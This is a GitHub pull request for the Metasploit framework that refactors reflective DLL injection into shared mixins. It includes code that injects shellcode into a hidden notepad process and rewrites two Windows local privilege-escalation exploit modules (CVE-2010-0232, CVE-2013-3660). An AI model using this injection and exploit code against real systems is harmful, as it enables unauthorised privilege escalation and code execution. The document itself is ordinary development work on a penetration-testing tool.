Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add RDI mixin module and refactor things to use it #2721

Merged
merged 10 commits into from
Dec 6, 2013
30 changes: 8 additions & 22 deletions lib/msf/core/payload/windows/reflectivedllinject.rb
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# -*- coding: binary -*-

require 'msf/core'
require 'rex/peparsey'
require 'msf/core/reflective_dll_loader'

module Msf

Expand All @@ -15,14 +15,18 @@ module Msf

module Payload::Windows::ReflectiveDllInject

include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows

def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' =>
Expand All @@ -47,26 +51,8 @@ def library_path
end

def stage_payload(target_id=nil)
dll = ""
offset = 0

begin
File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }

pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )

pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
offset = pe.rva_to_file_offset( entry.rva )
break
end
end

raise "Can't find an exported ReflectiveLoader function!" if offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
end
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)

exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration

Expand Down
30 changes: 8 additions & 22 deletions lib/msf/core/payload/windows/x64/reflectivedllinject.rb
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# -*- coding: binary -*-

require 'msf/core'
require 'rex/peparsey'
require 'msf/core/reflective_dll_loader'

module Msf

Expand All @@ -15,14 +15,18 @@ module Msf

module Payload::Windows::ReflectiveDllInject_x64

include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows

def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'PayloadCompat' =>
Expand All @@ -47,26 +51,8 @@ def library_path
end

def stage_payload
dll = ""
offset = 0

begin
::File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }

pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )

pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
offset = pe.rva_to_file_offset( entry.rva )
break
end
end

raise "Can't find an exported ReflectiveLoader function!" if offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
end
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)

exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration

Expand Down
58 changes: 58 additions & 0 deletions lib/msf/core/post/windows/reflective_dll_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
# -*- coding: binary -*-

require 'msf/core/reflective_dll_loader'

###
#
# This module exposes functionality which makes it easier to do
# Reflective DLL Injection into processes on a victim's machine.
#
###

module Msf::Post::Windows::ReflectiveDLLInjection

include Msf::ReflectiveDLLLoader

PAGE_ALIGN = 1024

#
# Inject the given shellcode into a target process.
#
# @param process The process to inject the shellcode into.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

# @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
#   The process to inject the shellcode into.

# @param shellcode The shellcode to inject.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

# @param shellcode [String] The shellcode to inject.

#
# @return [Fixnum] Address of the shellcode in the target process's
# memory.
#
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No blank before def, please

def inject_into_process(process, shellcode)
shellcode_size = shellcode.length

unless shellcode.length % PAGE_ALIGN == 0
shellcode_size += PAGE_ALIGN - (shellcode.length % PAGE_ALIGN)
end

shellcode_mem = process.memory.allocate(shellcode_size)
process.memory.protect(shellcode_mem)
process.memory.write(shellcode_mem, shellcode)

return shellcode_mem
end

#
# Inject a reflectively-injectable DLL into the given process
# using reflective injection.
#
# @param process The process that will have the DLL injected into it.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as above

# @param dll_path Path to the DLL that is to be loaded and injected.
#
# @return [Array] Tuple of allocated memory address and offset to the
# +ReflectiveLoader+ function.
#
def inject_dll_into_process(process, dll_path)
dll, offset = load_rdi_dll(dll_path)
dll_mem = inject_into_process(process, dll)

return dll_mem, offset
end

end
43 changes: 43 additions & 0 deletions lib/msf/core/reflective_dll_loader.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
# -*- coding: binary -*-

###
#
# This mixin contains functionality which loads a Reflective
# DLL from disk into memory and finds the offset of the
# reflective loader's entry point.
#
###

module Msf::ReflectiveDLLLoader

#
# Load a reflectively-injectable DLL from disk and find the offset
# to the ReflectiveLoader function inside the DLL.
#
# @param dll_path Path to the DLL to load.
#
# @return [Array] Tuple of DLL contents and offset to the
# +ReflectiveLoader+ function within the DLL.
#
def load_rdi_dll(dll_path)
dll = ''
offset = nil

::File.open(dll_path, 'rb') { |f| dll = f.read }

pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))

pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end

unless offset
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
end

return dll, offset
end
end
53 changes: 15 additions & 38 deletions modules/exploits/windows/local/ms10_015_kitrap0d.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,16 @@
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'msf/core/exploit/exe'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Post::File
include Post::Windows::Priv
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super( update_info( info,
Expand Down Expand Up @@ -71,54 +73,29 @@ def exploit
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end

dll = ''
offset = nil

print_status("Launching notepad to host the exploit...")
cmd = "notepad.exe"
opts = {'Hidden' => true}
process = client.sys.process.execute(cmd, nil, opts)
pid = process.pid
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.")

print_status("Reflectively injecting the exploit DLL into #{pid}...")
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be nice to expose the spawned process name as a datastore option, but not necessary for this PR

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aye true. This could apply to a lot of other modules outside of this PR. Happy to do it after though.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For that rabbit hole:

grep -r -i "notepad.exe" . | wc -l
39

host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"CVE-2010-0232", "kitrap0d.x86.dll")
library_path = ::File.expand_path(library_path)
::File.open(library_path, 'rb') { |f| dll = f.read }
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
# Inject the exloit, but don't run it yet.
exploit_mem = inject_into_pid(dll, host_process)

print_status("Exploit injected. Injecting payload into #{pid}...")
# Inject the payload into the process so that it's runnable by the exploit.
payload_mem = inject_into_pid(payload.encoded, host_process)
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_into_process(host_process, library_path)

print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(host_process, payload.encoded)

print_status("Payload injected. Executing exploit...")
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
host_process.thread.create(exploit_mem + offset, payload_mem)

print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end

protected

def inject_into_pid(payload, process)
payload_size = payload.length
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem)
process.memory.write(payload_mem, payload)
return payload_mem
end

end

44 changes: 11 additions & 33 deletions modules/exploits/windows/local/ppr_flatten_rec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Expand All @@ -13,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
Expand Down Expand Up @@ -135,37 +137,25 @@ def exploit
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

dll = ''
offset = nil

print_status("Launching notepad to host the exploit...")
cmd = "notepad.exe"
opts = {'Hidden' => true}
process = client.sys.process.execute(cmd, nil, opts)
pid = process.pid
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.")
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
library_path = ::File.expand_path(library_path)
::File.open(library_path, 'rb') { |f| dll = f.read }
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end

print_status("Injecting exploit and payload into #{pid}...")
# Inject the exploit and payload, but don't run it yet.
exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process)
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_into_process(host_process, library_path)

print_status("Injection complete. Executing exploit...")
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(host_process, payload.encoded)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
host_process.thread.create(exploit_mem + offset, payload_mem)

# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
Expand All @@ -177,16 +167,4 @@ def exploit
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end

protected

def inject_into_pid(exploit, payload, process)
payload_size = exploit.length + payload.length
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem)
process.memory.write(payload_mem, exploit)
process.memory.write(payload_mem + exploit.length, payload)
return payload_mem, payload_mem + exploit.length
end

end